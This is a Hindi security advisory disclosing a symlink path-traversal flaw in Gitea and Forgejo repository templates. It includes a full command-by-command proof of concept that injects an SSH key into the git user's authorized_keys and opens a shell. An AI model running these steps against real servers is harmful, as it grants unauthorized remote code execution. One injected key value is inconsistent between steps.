
गीटिया और फोर्गेजो के रिपॉजिटरी-टेम्पलेट प्रसंस्करण में डायरेक्टरी ट्रैवर्सल रिमोट प्रमाणित हमलावरों को फाइलसिस्टम पर मनमानी फाइलों को प्रोसेस करने की अनुमति देता है, जिससे रिमोट कोड निष्पादन होता है।
यह कार्य Creative Commons Attribution-ShareAlike 4.0 International License के तहत लाइसेंस प्राप्त है।
जब Forgejo और Gitea के स्रोत कोड की जाँच कर रहा था ताकि यह बेहतर समझ सकूँ कि टेम्पलेटिंग कैसे की जाती है, मुझे एक भेद्यता मिली जो एक प्रमाणित उपयोगकर्ता को एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाने की अनुमति देती है जिसका उपयोग फाइलसिस्टम पर मनमानी फाइलों को प्रोसेस करने के लिए किया जा सकता है।
जब दुर्भावनापूर्ण टेम्पलेट की Git सामग्री के आधार पर एक रिपॉजिटरी बनाई जाती है, तो टेम्पलेट फाइलसिस्टम पर मनमानी फाइलों को विस्तारित करने में सक्षम होगा।
git उपयोगकर्ता की होम डायरेक्टरी के पथ (जो आधिकारिक डॉकर इमेज में /data/git डिफ़ॉल्ट है) को जानकर, एक हमलावर git उपयोगकर्ता की .ssh/authorized_keys फाइल का विस्तार कर सकता है ताकि command पैरामीटर के बिना एक कुंजी इंजेक्ट कर सके, जिसका उपयोग मनमाने कमांड या एक इंटरैक्टिव शेल को निष्पादित करने के लिए किया जा सकता है।
प्रभावित संस्करण: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
प्रभावित घटक: टेम्पलेट रिपॉजिटरी
मूल कारण: टेम्पलेट फाइलों की सामग्री को पढ़ते और लिखते समय सांकेतिक लिंक डीरेफरेंस
हमलावर एक वैध उपयोगकर्ता के रूप में प्रमाणित होता है
हमलावर एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाता है जिसमें अनुमानित git उपयोगकर्ता की .ssh/authorized_keys फाइल के लिए एक सांकेतिक लिंक और एक .forgejo/template फाइल होती है जो सांकेतिक लिंक का संदर्भ देती है
हमलावर अपने खाते में एक ssh सार्वजनिक कुंजी जोड़ता है जिसमें एक कस्टम टिप्पणी होती है जो ${REPO_DESCRIPTION} के साथ समाप्त होती है
हमलावर Git सामग्री टेम्पलेटिंग सक्षम और एक विवरण के साथ दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी का संदर्भ देने वाला एक रिपॉजिटरी बनाता है जिसमें एक नई पंक्ति और फिर एक और ssh सार्वजनिक कुंजी शामिल है
Gitea/Forgejo टेम्पलेट्स authorized_keys सिमलिंक को पढ़ते और टेम्पलेट करते हैं, जिससे पहले से सेट सार्वजनिक कुंजी की टिप्पणी हमलावर के रिपो विवरण के अनुरूप एक मनमानी प्रविष्टि में विस्तारित हो जाती है, बिना command पैरामीटर के
हमलावर इंजेक्ट की गई कुंजी का उपयोग करके git उपयोगकर्ता के रूप में इंटरैक्टिव रूप से लॉग इन करता है
हमलावर के लिए कॉन्फ़िगरेशन फ़ाइल, SQLite डेटाबेस को दूषित करना या बड़ी फाइलों को पढ़कर सेवा अस्वीकार करना भी संभव है।
Gitea/Forgejo का एक भेद्य संस्करण स्थापित और कॉन्फ़िगर करें
व्यवस्थापक खाते का उपयोग करके हमलावर के लिए एक खाता पंजीकृत करें या बनाएं
हमलावर खाते का उपयोग करके लॉगिन करें
दो अलग-अलग SSH कुंजियाँ उत्पन्न करें: एक Git के लिए और एक इंटरैक्टिव SSH के लिए
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub फ़ाइल की सामग्री को एक अधिकृत ssh-कुंजी के रूप में जोड़ेंकुंजी टिप्पणी मौजूद होनी चाहिए और इस तरह दिखनी चाहिए:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
git उपयोगकर्ता की .ssh/authorized_keys अब इस तरह दिखती है:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Gitea/Forgejo UI का उपयोग करके एक दुर्भावनापूर्ण टेम्पलेट रिपॉजिटरी बनाएं
टेम्पलेट रिपॉजिटरी को क्लोन करें और दुर्भावनापूर्ण सिमलिंक और टेम्पलेट कॉन्फ़िगरेशन जोड़ें
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub फ़ाइल की सामग्री शामिल हैरिपो विवरण इस तरह दिखना चाहिए:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
पहली पंक्ति में replaced आवश्यक नहीं है, लेकिन आपको यह सुनिश्चित करना होगा कि नई पंक्ति अभी भी वहाँ है।
पंक्ति के अंत में attacker@machine टिप्पणी भी वैकल्पिक है।
परिणामी git उपयोगकर्ता की .ssh/authorized_keys इस तरह दिखेगी:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh कुंजी और ssh क्लाइंट का उपयोग करके कनेक्ट करेंssh -i ~/.ssh/attacker-ssh git@localhost -p 222